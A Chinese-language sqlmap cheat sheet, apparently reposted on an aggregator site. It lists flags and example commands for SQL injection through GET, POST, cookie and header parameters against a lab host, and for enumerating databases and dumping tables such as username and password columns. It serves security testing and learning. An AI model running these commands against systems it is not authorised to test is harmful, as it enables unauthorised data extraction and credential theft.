SQLmap常用命令/使用教程
Posted 士别三日wyx
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQLmap常用命令/使用教程相关的知识,希望对你有一定的参考价值。
SQLmap是一款自动化SQL注入神器,用于SQL注入漏洞的检测和利用,支持多种数据库
检测位置
-u -- 指定url(GET请求)
-p -- 指定参数(url包含多个参数时,指定参数)
--data= -- 指定POST请求参数
--cookie -- 指定cookie参数
-r -- 从文件中加载HTTP请求(在需要检测的Header后面加上*)
获取数据
--dbs -- 获取数据库名
--tables -- 获取表名
--columns -- 获取字段名
--dump -- 获取数据
-D -- 指定数据库
-T -- 指定表
-C -- 指定字段
其他设置
--batch -- 自动化确认
--tamper -- 指定脚本
--dbms -- 指定数据库类型
--os -- 指定操作系统(windows/linux)
--level -- 指定探测等级(1~5)
--current-db -- 获取当前数据库的名字
-b -- 获取数据库版本信息
-f -- 获取数据库指纹
--users -- 当前使用的用户
--delay -- 设置延时
--technique -- 指定注入方式
U 联合注入
E 报错注入
B 布尔盲注
T 时间盲注
针对不同的注入位置
GET请求注入
sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1
POST请求注入
sqlmap -u http://192.168.40.129/sqli/Less-11/ --data="uname=lisi"
COOKIE注入
sqlmap -u xxx/index.php --cookie "uname=admin" --level 2 --dbs
HTTP请求头注入(User-agent/Referer/Cookie等HTTP Header),拦截get,post等HTTP请求,将所有请求内容复制到target.vm文件中,在需要检测的Header后面加上*,并且需要level>=3
sqlmap -r target.vm --level 3 --dbs
获取数据
获取所有数据库
sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch --dbs
获取指定数据库中的所有表
sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch -D security --tables
获取指定数据库中指定表的所有字段
sqlmap -u http:xxx/?id=1 --batch -D security -T users --columns
获取指定数据库中指定表中指定字段的所有数据
sqlmap -u xxx/?id=1 --batch -D security -T users -C username,password --dump
HTTP Header头注入
1.拦截post请求信息,并将请求信息的全部内容复制到文件中,
2.在需要检测的Header位置添加*
3.使用SQLmap对指定文件进行检测,SQLmap会自动检索*,从而对目标Header进行检测
以上是关于SQLmap常用命令/使用教程的主要内容,如果未能解决你的问题,请参考以下文章